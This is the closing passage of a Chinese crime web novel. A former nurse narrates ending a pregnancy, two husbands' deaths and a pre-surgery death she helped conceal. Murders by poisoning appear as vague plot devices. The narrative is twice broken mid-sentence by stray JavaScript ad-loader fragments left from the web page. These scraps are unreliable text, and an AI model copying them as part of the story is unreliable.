我扑到他的怀里,颤抖的声音道:“医生说,胎儿发育不足……得终止妊娠。”
他安慰地抚着我的头发,声音从胸腔传来,同样颤抖:“晓燕,没关系,看来这是天意,不过我们一定还会有孩子的……”
他握紧我的手,在我进入手术室前,在我耳边轻语:“……我爱你。”
我忍住打寒颤的冲动,想起上一次听见他说这句话,是对刘莉。
……
刘莉截肢后过了几天,吕聪来探病。当时刘莉的病房里只有我一个人,她仍在昏睡中。
重回x院,吕聪左顾右盼,颇有种近乡情怯的意思。
他身上曾几何时的白大褂换成了一件灰扑扑的外衣,衬得整个人畏缩几分。
我冷眼看着他,丝毫不意外,以他鲜有美名的医德和医术,迟早会被x院扫地出门。
“卢明不在。”我省去寒暄,直道。
他嘿然笑着,朝我挤挤眼睛:“找您也差不多。”
我倒有点佩服他了,凭着几次接触就摸清了我和卢明的关系,不做医生的话,他应该做个侦探。
“吕医生——”
“不敢不敢
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
,”他忙打断,“叫我吕聪,小吕就行,您看我也不叫您田护士了。”
我不搭腔。
他自是有事相求:“我想问,您看,卢总还打算跟我的诊所续约吗?”
他一脸忐忑。
“你知道刘莉马上要做第二场手术了吗?”我选择用一个问句回答。
“——是胆结石。”我为他指点迷津。
这毫无疑问,是内科家庭医生的失职。
吕聪尴尬地挠挠头。
“您帮我给卢总说说呗,”他腆着脸道,“他问我您在医院的事儿的时候,我也没少帮您修辞几句。”
我转过头来,定定地看着他:“你跟他都说些什么?”
当时的吕聪不过觉得我在卢明面前能有几分薄面,但估计怎么也想不到,卢明真的会和我结婚。
卢明也没跟我说实话。吕聪把什么都告诉他了。
当我还在x院工作的时候,尽管我尽力遮掩,有时仍然不免露出身上被胡一亮殴打的青紫伤痕。
“田护士,去看看吧。”有同事看不下去,不妨到我面前直说,目光怜悯。
我总是先一愣,然后否认笑道:“我不是……”
“这要不是给人打的,莫名其妙出现,也可能是白血病呀。总之,去看看吧。”也不全是怜悯,藏在关心里的恶意,我能分辨得出来。
我不愿意做多辩解,后来等我越来越胖,资历越来越高的时候,类似的话如愿少了很多。
某个时候起,胡一亮开始出轨何美玲,被何美玲带着,他也半只脚踏入赌/博的泥潭。我在绿城的新生活岌岌可危,好似被一个看不见的危险的黑洞吸引着坠落。
有一天,我告诉胡一亮,我得了白血病。
胡一亮的人生轨迹从那时开始改变。
有关我的流言在x院转了风向。很快,所有人都知道了,田护士长有一位极其疼爱她的老公。
不是换人了吧?很多人都想问。
不,我一直认识的胡一亮就是这样的人。他是一个很坏的丈夫,却是一位极其义气的朋友。那时他提出想要跟我离婚,和何美玲结婚,谁知此时我得了病,他决定送我最后一程。
我告诉胡一亮,我的病到了晚期,西医已经没有用了。我认识一位中医,有副姑息治疗的方子,或许可以试试。
“那就试!”他豪气干云,认真道:“晓燕,我不想你死。”
我知道他说的是真的。
虽然喝醉的时候,他的拳打脚踢有时不知轻重,“去死吧”“你怎么还不死”这些话不绝于耳。
“可是药很苦。”我一脸为难地看着他,像一个朋友那样请求,“一亮,你能陪我一起喝吗?”
他犹豫了下,还是点点头。对我的亏欠,决心从每天陪一碗苦药开始。
“好朋友就是要同甘共苦!”他每一碗都喝出了歃血为盟的气势,忘记了我其实是他的妻子。
然而我们没有同甘了。
我的白血病是误诊,他得病却是真的,绿城居民的大规模得病很快被爆了出来。我辞掉了工作照顾他,他不久后就去世了。
这之后成了x院的一段传奇。
吕聪说:“田护士,你辞职了之后,我们还猜呢……你是不是给你丈夫下毒了?”
我失笑:“你是医生,你倒跟我说说,有什么中药可以导致白血病?”
吕聪咂咂嘴,自然说不上来。
我不动声色:“警察已经帮你们调查过了。还有绿城的其他患者。这还不够解释吗?”
“因为实在太离奇了嘛……”
我目光飘远:“没办法……这就是他的命。”
12. 第 12 章
我和吕聪的面谈发生在我告诉卢明怀孕之后,卢明向我求婚之前。
病床上昏睡的刘莉是仅有的听众。
“是卢明问你有关我的事的?”
吕聪回答:“对啊。”
“放心吧,我就大概说了下情况,没提怀疑你下毒那节——”我瞥他一眼,他忙举起双手,“我不是说你真的下毒了的意思!”
说罢,他又咂咂嘴:“反正你那事情流传甚广,他早晚要知道的嘛,即使不从我这里。”
他说的倒是实话。
“好啊,谢谢你。”我冲他笑起来,“你也放心好了。”
他一怔,显然出乎意料的样子,满是狐疑地道了谢,摸不透我的意思。
我确确实实在卢明面前说了有关他的好话,帮他保住了这份工作。后来再见我,他笑容满面,亲亲热热——都是后话了。
等刘莉的情况稍稍稳定下来,便准备做第二次手术。
她的胆结石导致胆囊炎,必须尽快手术。
卢明颤抖的手再度签下手术同意书。
“晓燕——”
我当他在向我寻求安慰,便握住他的手,低声道:“刘莉会好起来的……”
他忽地一下抱紧我,脸贴着我的小腹。
病床上的刘莉睡着,此时不用再多顾忌她。她整个人像是萎缩下去,仍然庞大的身体呈现出一种矛盾的干瘪,那姣好的脸上也头一次显出几分沧桑愁苦,好像从前的她不过是一个假象,常常叫人忘记她也只是一个久经折磨的病人。
“她已经坏了。”卢明低不可闻地叹了一声。
傍晚时刘莉醒了。
“小莉,你醒了!”我惊喜道。
“水……”她睁眼的第一句话是哀求。
“忍一忍,小莉,你现在不能喝水。”我道,觉得她很可怜,“明天你还有一场手术,现在你什么都不能喝,什么都不能吃。”
她渴哭了,说不出话,用目光询问我。
“卢明很快就回来了。”我安抚她。
我握着她的手,一起等着卢明回来,她又露出那种半是感激半是讨好的表情,美丽纯良的眼睛像是一只垂死的鹿。
我想象不到刘莉最后的结局会是死于胃里一碗“偷吃”的面。
“禁食禁水!禁食禁水!医院强调了多少遍?你们家属是怎么当的?”
手术室灯亮不过三十分钟,麻醉医生气急败坏地走出来,忍不住破口大骂。
旁边的护士颤颤巍巍地站出来,撇清自己:“术前问过病人好几遍,有没有吃东西喝东西,她都否认了。”
麻醉医生又跺脚骂:“糊涂啊!丢了一条命!”
卢明的眼泪一下就流了出来:“都是我的错,没有看好她……”
麻醉医生恢复了些理智,扫了他一眼,硬邦邦扔出一句:“节哀吧。”随后匆匆离开。
卢明在医院里早混了个脸熟,谁都知道他爱妻如命,一旁护士有所不忍,上前安慰:“唉,不是你的错……”
这一次我站在一旁没有动。
我想起昨晚,我将刘莉交给卢明的时候,回头一望,他正拉上蓝色的隐私帘。
他脱掉鞋子,上床抱着刘莉。
“……我爱你。”关上门时,我听见他缱绻的情话……
——这个男人不久前向我求婚了。死讯来袭的手术室外,我除了定在原地,什么都没有说。
……
卢明同意对刘莉进行尸检。虽然没有必要。
胀满的胃袋是刘莉不容置疑的死因。吕聪结合着尸检报告,宽慰卢明:“嫂子内脏多处都有衰竭的迹象,就算手术正常进行,结果也不一定好……说不定这样走了,痛苦还少一点。”
卢明擦着眼睛:“……谢谢你。”
我站在一旁,好像一个摆设。
我也希望吕聪说的是真的。
刘莉啊刘莉。
我答应了卢明的求婚,也成了害死她的人的同盟。
既然是同盟,卢明对我也不打算隐瞒了。
他从尸检那里得到了额外的收获——刘莉的胆结石,他把细小的石子儿装在小盒子里,对着灯光欣赏着。
仿佛,刘莉曾是一朵鲜妍的花,这是她最后结出的果子。
“别害怕。刘莉是时间到了,我不忍心看她受苦——你也听见吕聪说的了。”他对我说,“面也不是我逼她吃的。”
我默默地看着他,并不怀疑他辩驳的真实性。
我都能想象的到,他贴心地替刘莉挽着头发,在他宠溺的注视下刘莉感激地狼吞虎咽的场景。
“我做这一切这都是为了你。”他深情的目光望来,“你怀孕了,我不能放着你不管。可是让刘莉知道了,她又会伤心。能想到的,只能让她给你腾出位置,嗯?”
他的尾音上扬,轻轻地撩拨心弦,走上前来,搂我入怀。
“胡一亮是怎么死的?”他突然凑到我耳边问。
我沉默。
“胡一亮的保单上写着死因是肾衰竭——白血病这种并发症常见吗?”
我肯定回答:“有的。”
“好吧,既然你这么说的话。我反正是什么医学常识都没有的。”他语气分外愉快。
“你这个小骗子,为什么跟咱妈说保险金只有90万?”
我浑身一凛。
随后又想到,当然,他看到了保单,真正的金额是150万。
这不重要。重要的是,他想告诉我,他对我了如指掌。我有种被盯上的猎物的危机感。
“没关系,藏点私房钱嘛,可以理解。”他怀抱着我,声音从上方传来,“你信不信?我们会是一对很好的夫妻。”
还是一对坚固的同盟。
互相掌握着对方的秘密,又抓不到任何把柄。
……
吸入麻醉的时候,我又想到了刘莉。
失去意识前短短的几秒钟,我像是回顾了她短暂的一生。
如果她现在出现在我的面前,我倒真有几句话想要跟她说。虽然很可能她并不爱听。
有了肚子里这个孩子之后,我真心想过和卢明开启一段新生活,也曾为自己人生境遇的绝地反击而沾沾自喜。
成为了人人艳羡的卢太太感觉是不错,但又没有我想象中那么好。
或许正像这个在我身体里日渐衰弱的孩子的结局——我发现自己做不到。
而且就算我愿意,恐怕卢明也不能给我机会。这是一个现实的问题。
我不能眼睁睁看着自己像刘莉一样“坏掉”。
躺上手术床时,医生宣布我肚子里孩子的死亡:“胎心停了。”
与此同时,我感觉自己胸腔里的心脏剧烈跳动起来。
医生多有不忍地看着我这个过于冷静的孕妇,“别担心。”她对我说。
“能把它保留地尽量完整一点吗?”我声音颤抖着请求。
医生扶着我的头戴上麻醉面罩,微不可察地点点头。
整个流产手术不到一个小时。
我醒来的时候,天还没有黑。
“喝水吗?”见我醒来,有人殷勤地凑上来,将吸管递到我嘴边。
我的眼睛对了好一会焦,才看清来人。
——何美玲。
不过短短时间不见,她头发染成黑色,衣着也朴实许多,看起来像个决心好好过日子的人了。
卢明姗姗来迟。
刚失去了我们的孩子,他很不应该笑——其实他本也没有笑,但是我能感觉的出来,他心情很好。从他走近房间,朝何美玲施放魅力的样子就知道了。
他带来了探病的果篮,“这位是?”
何美玲满脸通红,我给他介绍道:“这是我的好朋友,何美玲。”
“这位是我老公,卢明。”
“你好你好。”何美玲双手握住他的手,卢明也跟她问了好。
“美玲。”他重复一遍那个名字,笑笑,“之前好像没见过。”
美玲觑着我,我开口道:“美玲在广城打工的。回来探亲,马上就又走了。”
“哦,原是这样。”卢明答应一声,他忽搓了搓手,看向我问:“对了……孩子呢?”
我差点忍不住想笑的冲动。他是忍耐又琢磨了多久,最后这么蹩脚地转移到这个他最关心
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
的问题上去的?
“在卫生间。”美玲替我回答。
她从护士那里帮忙取回来的。
“我看看去……”卢明再按捺不住,就要往病房的卫生间钻去,忽而理智提醒了他,他分外僵硬地半转回身,强迫唇角向下耷拉着,对我说:“要不要也拿来给你看看?”
我转过头,声音闷闷地从枕头里传来:“我就算了。”
“也是,”他面皮一松,柔声道,“你别太伤心了。”
手术前,卢明向我建议,要把未出生的小孩子带回去,举办一个祭奠仪式,我同意了。
他真心喜爱那小东西,不论活的,死的……都曾藏在人的身体里,像套娃的最后一层里扭开的宝藏。
他很病态。到这一刻,几乎不假伪装。也不费心去找什么借口,带着医疗废物的袋子匆匆离开。
护士一会查房,顺便问死婴的下落。
“看着伤心,厕所冲掉了。”美玲代我回答。
护士表示知道了,就要出去,被我叫住:“等等。”
“有什么事吗?”
“我想问,我可以多住几天院吗?”我问,苍白的脸色估计很有说服力,“我怕回家护理不周。”
护士道:“这里的床位有点紧张呢……不过国际部那边可能有,要我帮你问问吗?”
于是我转到了国际部,住了一周的院。
一周后,我出院,传来了卢明的死讯。
一个刚刚失去孩子的女人又失去了丈夫——我想到别人口中会怎么编排这件事,不禁微微一笑。
*
在刘莉死后,卢明辞去了工作,反正继承了刘莉家的化工厂,一辈子吃穿不愁。和我婚后,他常常不在家,我从吕聪那里打听到,他在市里额外租了一间小公寓,平时就是往那儿去。
“嫂子,你别多想,没养女人。”被逼出了实话,吕聪一脸无奈。
那个公寓里确实没养女人,而是用以存放他收藏的套娃,堆满了一整个公寓房间,怪不得郊区的家里毫无痕迹,殊不知都被他集中放在那里。
他平时不仅收藏套娃,还喜欢制作标本,从家里的化工厂里近水楼台非法获取了许多违禁药品,堪比一个中学实验室,其中不乏高危化学品。
他就是死于不当使用那些毒药之下。警察是这样告诉我的。
作为他的妻子,我有权利选择不进行尸检,尽快火化,入土为安。
何美玲正式去往广城打工,我如约帮她还清了赌债,赞助她重启人生的基金,一共是六十万。
代价是帮我一个忙。
在卢明陪着我做手术的时候,她潜入卢明的套娃公寓,在马桶水箱里放了一颗洁厕块,然后离开。洁厕块在七天里时刻缓释着高浓度的农药,融入小公寓的空气中,在反复抽水中消弭于无形——同时也要了卢明的命。
一切尘埃落定,我准备搬去东南亚的一个小岛上,不准备回来了。
离开前,我与吕聪解约,又给了他一笔不菲的补偿金。
他一脸便秘,看着我的目光中深藏着畏惧。是他给了我卢明小公寓的钥匙。他猜到我一定做了什么。
我说过,他不做医生的话,应该去做个侦探。
他看着我的目光仿佛看着一个黑/道教母,出于死也要死个明白的原则,忍不住问:“你第一个丈夫究竟是怎么死的?”
我摇了摇头,一手抵在唇边,他马上认怂了,那模样有几分滑稽。
“要听听我的人生忠告吗?”
他就差俯首帖耳了。
“我今年三十七岁,已经死了两任丈夫……我都能想象到别人一定在我背后说,我是个没福气的女人。”我淡淡道,“我最近有点醒悟过来,别人怎么想,怎么看,其实一点都不重要。我之前太执迷在这些事情上,白白浪费了好多精力和时间。”
他不知道怎么接话,那模样像被梗住了。
“——这是我的心得,至于你们男人嘛……我一点不懂你们男人。”我笑笑,“人生已经容易多了,勤换内裤,上完厕所要放下马桶盖……这些最基本的,为什么就是学不会呢?”
【完】